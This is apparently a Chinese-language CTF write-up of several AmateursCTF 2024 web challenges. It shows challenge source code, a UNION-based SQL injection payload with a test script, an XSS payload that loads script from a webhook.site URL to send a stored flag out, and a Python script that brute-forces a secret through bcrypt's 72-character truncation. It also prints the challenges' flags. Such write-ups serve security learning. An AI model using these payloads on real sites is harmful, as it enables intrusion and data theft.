denied
index.js
const express = require('express')
const app = express()
const port = 3000
app.get('/', (req, res) => {
if (req.method == "GET") return res.send("Bad!");
res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
res.send('Winner!')
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
使用OPTIONS方法,查看服务器支持方法。
使用HEAD方法
得到flag
amateursCTF{s0_m@ny_0ptions...}
agile-rut
页面使用了自定义字体
发现一个特殊的字符
但是不知道怎么将这个字符输入到网站中😂
继续查看其他信息,查看Glyph Substitution Table - GSUB部分
这个部分是进行一些字符替换的,主要是一些连字。
对照上面的字符表可以得到flag
amateursctf{0k_but_1_dont_like_the_jbmon0_===}
str = [78,66,85,70,86,83,84,68,85,71,92,17,76,64,67,86,85,64,18,64,69,80,79,85,64,77,74,76,70,64,85,73,70,64,75,67,78,80,79,17,64,30,30,30,94]
for i in str:
print(chr(i+31),end="")
使用字体编辑工具更方便
https://www.glyphrstudio.com/app/
one-shot
查看源码,显然search处的query参数存在like型注入。
from flask import Flask, request, make_response
import sqlite3
import os
import re
app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()
@app.route("/")
def home():
return """
<h1>You have one shot.</h1>
<form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
"""
@app.route("/new_session", methods=["POST"])
def new_session():
id = os.urandom(8).hex()
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
res = make_response(f"""
<h2>Fragments scattered... Maybe a search will help?</h2>
<form action="/search" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="query" value="">
<input type="submit" value="Find">
</form>
""")
res.status = 201
return res
@app.route("/search", methods=["POST"])
def search():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
if searched:
return "you've used your shot."
db.execute(f"UPDATE table_{id} SET searched = 1")
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
return f"""
<h2>Your results:</h2>
<ul>
{"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
</ul>
<h3>Ready to make your guess?</h3>
<form action="/guess" method="POST">
<input type="hidden" name="id" value="{id}">
<input type="text" name="password" placehoder="Password">
<input type="submit" value="Guess">
</form>
"""
@app.route("/guess", methods=["POST"])
def guess():
id = request.form["id"]
if not re.match("[1234567890abcdef]{16}", id):
return "invalid id"
result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
if result != None:
return flag
db.execute(f"DROP TABLE table_{id}")
return "You failed. <a href='/'>Go back</a>"
@app.errorhandler(500)
def ise(error):
original = getattr(error, "original_exception", None)
if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
return "that table is gone. <a href='/'>Go back</a>"
return "Internal server error"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
只能查询一次,且查询结果只能显示第一个字符。
考虑使用union逐个字符查询。
SQL测试脚本
from flask import Flask, request, make_response
import sqlite3
import os
import re
db = sqlite3.connect(":memory:", check_same_thread=False)
id = os.urandom(8).hex()
print(id)
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
password = os.urandom(16).hex()
print(password)
db.execute(f"INSERT INTO table_{id} VALUES ('{password}', 0)")
# searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
# if searched:
# print("you've used your shot.")
#db.execute(f"UPDATE table_{id} SET searched = 1")
#id = "7aa17ba42e9f1b51"
str = "' "
for i in range(1,33):
str += f'''union all select substr(password,{i},1) from table_{id} '''
str += "--+"
print(str)
#print(str)
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{str}%'")
#print(query.fetchall())
print({"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])})
payload如下:
' union all select substr(password,1,1) from table_7aa17ba42e9f1b51 union all select substr(password,2,1) from table_7aa17ba42e9f1b51 union all select substr(password,3,1) from table_7aa17ba42e9f1b51 union all select substr(password,4,1) from table_7aa17ba42e9f1b51 union all select substr(password,5,1) from table_7aa17ba42e9f1b51 union all select substr(password,6,1) from table_7aa17ba42e9f1b51 union all select substr(password,7,1) from table_7aa17ba42e9f1b51 union all select substr(password,8,1) from table_7aa17ba42e9f1b51 union all select substr(password,9,1) from table_7aa17ba42e9f1b51 union all select substr(password,10,1) from table_7aa17ba42e9f1b51 union all select substr(password,11,1) from table_7aa17ba42e9f1b51 union all select substr(password,12,1) from table_7aa17ba42e9f1b51 union all select substr(password,13,1) from table_7aa17ba42e9f1b51 union all select substr(password,14,1) from table_7aa17ba42e9f1b51 union all select substr(password,15,1) from table_7aa17ba42e9f1b51 union all select substr(password,16,1) from table_7aa17ba42e9f1b51 union all select substr(password,17,1) from table_7aa17ba42e9f1b51 union all select substr(password,18,1) from table_7aa17ba42e9f1b51 union all select substr(password,19,1) from table_7aa17ba42e9f1b51 union all select substr(password,20,1) from table_7aa17ba42e9f1b51 union all select substr(password,21,1) from table_7aa17ba42e9f1b51 union all select substr(password,22,1) from table_7aa17ba42e9f1b51 union all select substr(password,23,1) from table_7aa17ba42e9f1b51 union all select substr(password,24,1) from table_7aa17ba42e9f1b51 union all select substr(password,25,1) from table_7aa17ba42e9f1b51 union all select substr(password,26,1) from table_7aa17ba42e9f1b51 union all select substr(password,27,1) from table_7aa17ba42e9f1b51 union all select substr(password,28,1) from table_7aa17ba42e9f1b51 union all select substr(password,29,1) from table_7aa17ba42e9f1b51 union all select substr(password,30,1) from table_7aa17ba42e9f1b51 union all select substr(password,31,1) from table_7aa17ba42e9f1b51 union all select substr(password,32,1) from table_7aa17ba42e9f1b51 --+
成功"猜对"密码后得到flag
sculpture
显然是一道XSS
查看index.html代码,引用了js的sculpt(https://skulpt.org/js/skulpt-stdlib.js)库,来解析python代码,调用turtle画图。(直接命令执行当然是不行的🤒)
通过示例代码发现可以使用print打印字符,并且成功触发xss。
通过code传参base64编码的参数,会自动通过runit函数执行code。
这里使用
构造payload
print "<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src=\"https://webhook.site/994ac52a-3113-4bbe-89de-335f522dc194?id=\"+localStorage.getItem('flag')></img>"
记得base64后urlencode,get传参时+
会被当成空格。
最终payload
https://amateurs-ctf-2024-sculpture-challenge.pages.dev/?code=cHJpbnQgIjxpbWcgc3JjPXggb25lcnJvcj13aXRoKGRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz1cImh0dHBzOi8vd2ViaG9vay5zaXRlLzk5NGFjNTJhLTMxMTMtNGJiZS04OWRlLTMzNWY1MjJkYzE5ND9pZD1cIitsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpPjwvaW1nPiI%3D
得到flag
amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}
creative-login-page-challenge
- bcrypt长度限制72字符
一个java编写的登录页面
package team.amateurs.loginpage;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.MediaType;
import org.springframework.security.crypto.bcrypt.BCrypt;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.web.bind.annotation.*;
import javax.print.attribute.standard.Media;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.charset.Charset;
import java.util.Base64;
import java.util.HashMap;
@SpringBootApplication
@RestController
public class LoginpageApplication {
HashMap<String, String> users = new HashMap<String, String>();
@Autowired
public ResourceLoader resourceLoader;
private final static String SALT = BCrypt.gensalt();
// Some fun things to include in your username/password!
// TODO take from env cause yes
public String flag = System.getenv("FLAG");
public String randomNum = Integer.toString((int) (Math.random() * 100));
// add more
public static void main(String[] args) {
SpringApplication.run(LoginpageApplication.class, args);
}
@GetMapping("/")
public String getRoot(HttpServletResponse response) {
try {
response.sendRedirect("/register");
return "Redirecting";
} catch (Exception e) {
return e.getMessage();
}
}
@PostMapping("/register")
public String postRegister(HttpServletResponse response, @RequestParam(value = "username") String username, @RequestParam(value = "password") String password) {
try {
if (username.isEmpty() || password.isEmpty()) return "No empty field";
String tUsername = template(username);
if (tUsername.contains(flag)) return "No flag >:( !";
String tPassword = template(password);
if (users.get(tUsername) != null) return "Username already taken!";
users.put(tUsername, BCrypt.hashpw(tPassword, SALT));
Cookie usernameCookie = new Cookie("username", Base64.getEncoder().encodeToString(tUsername.getBytes()));
response.addCookie(usernameCookie);
// yeah, sue me
Cookie tokenCookie = new Cookie("token", BCrypt.hashpw(users.get(tUsername), SALT));
response.addCookie(tokenCookie);
response.sendRedirect("/hello");
return "Redirecting";
} catch (Exception e) {
return e.getMessage();
}
}
@GetMapping(value = "/register", produces = MediaType.TEXT_HTML_VALUE)
public String getRegister() throws IOException {
return resourceLoader.getResource("classpath:static/register.html").getContentAsString(Charset.defaultCharset());
}
@GetMapping("/hello")
public String getHello(HttpServletResponse response, @CookieValue(value = "username", required = false) String username, @CookieValue(value = "token", required = false) String token) throws IOException {
if (token == null || username == null) {
response.sendRedirect("/login");
return "Redirecting";
}
String decodedName = new String(Base64.getDecoder().decode(username));
if (token.equals(BCrypt.hashpw(users.get(decodedName), SALT))) {
return "Hello " + decodedName;
} else {
response.sendRedirect("/login");
return "Redirecting";
}
}
@PostMapping("/login")
public String postLogin(HttpServletResponse response, @RequestParam(value = "username") String username, @RequestParam(value = "password") String password) {
try {
String actual = users.get(username);
if (actual == null) return "Credentials wrong";
String input = BCrypt.hashpw(password, SALT);
if (input.equalsIgnoreCase(actual)) {
Cookie usernameCookie = new Cookie("username", Base64.getEncoder().encodeToString(username.getBytes()));
response.addCookie(usernameCookie);
// yeah, sue me
Cookie tokenCookie = new Cookie("token", BCrypt.hashpw(actual, SALT));
response.addCookie(tokenCookie);
response.sendRedirect("/hello");
return "Redirecting";
}
response.setStatus(401);
return "Credentials wrong";
} catch (Exception e) {
return e.getMessage();
}
}
@GetMapping(value = "/login", produces = MediaType.TEXT_HTML_VALUE)
public String getLogin() throws IOException {
return resourceLoader.getResource("classpath:static/login.html").getContentAsString(Charset.defaultCharset());
}
private String template(String fmtStr) throws Exception {
StringBuilder sb = new StringBuilder();
while (fmtStr.contains("{{")) {
int start = fmtStr.indexOf("{{") + 2;
int end = fmtStr.indexOf("}}", start);
if (end == -1) throw new Exception("Invalid Format String");
sb.append(fmtStr, 0, start - 2);
Field f = LoginpageApplication.class.getField(fmtStr.substring(start, end));
if (f.getType().equals(String.class)) {
sb.append(f.get(this));
} else {
throw new Exception("Field not found");
}
fmtStr = fmtStr.substring(end + 2);
}
// no format strings, no need.
sb.append(fmtStr);
return sb.toString();
}
}
发现提供了template方法可以通过反射获取类中的字符类型变量,使用{{flag}}形式可以获取flag,但是username中不能包含flag,password中flag又不会显示。
这里利用bcrypt的一个性质,密码长度限制为72,参考文章
例如下面的两个字符串,加密后结果是一样的。
public static void main(String[] args) throws Exception {
String hash_1 = BCrypt.hashpw("passwordaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac", SALT);
System.out.println(hash_1);
String hash_2 = BCrypt.hashpw("passwordaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", SALT);
System.out.println(hash_2);
}
// $2a$10$ZltXx90HXy8s3ipHXZ2ExeYovy5SQ9/R2ajCh7Vwp.1WnAhmYlMie
写一个python脚本,逐个字符爆破flag。
import requests
import string
url = "http://creative-login-page.amt.rs/register"
ascii_letters = string.printable
flag = ""
for i in range(70):
r = requests.session()
username = "rabiit12"*(i+1)
password = "a"*(71-i)+"{{flag}}"
print(password)
data = {
"username":username,
"password":password
}
response = r.post(url=url,data=data,allow_redirects=False)
token = response.cookies["token"]
print(token)
for j in range(len(ascii_letters)):
r = requests.session()
username = ("robots12"+str(i))*(j+1)
password = "a"*(71-i)+flag+ascii_letters[j]
print(password)
data = {
"username":username,
"password":password
}
response = r.post(url=url,data=data,allow_redirects=False)
token2 = response.cookies["token"]
print(token2)
if token2 == token:
flag += ascii_letters[j]
print(flag)
break
得到flag
amateursCTF{1_l0v3_l0gin_pAges}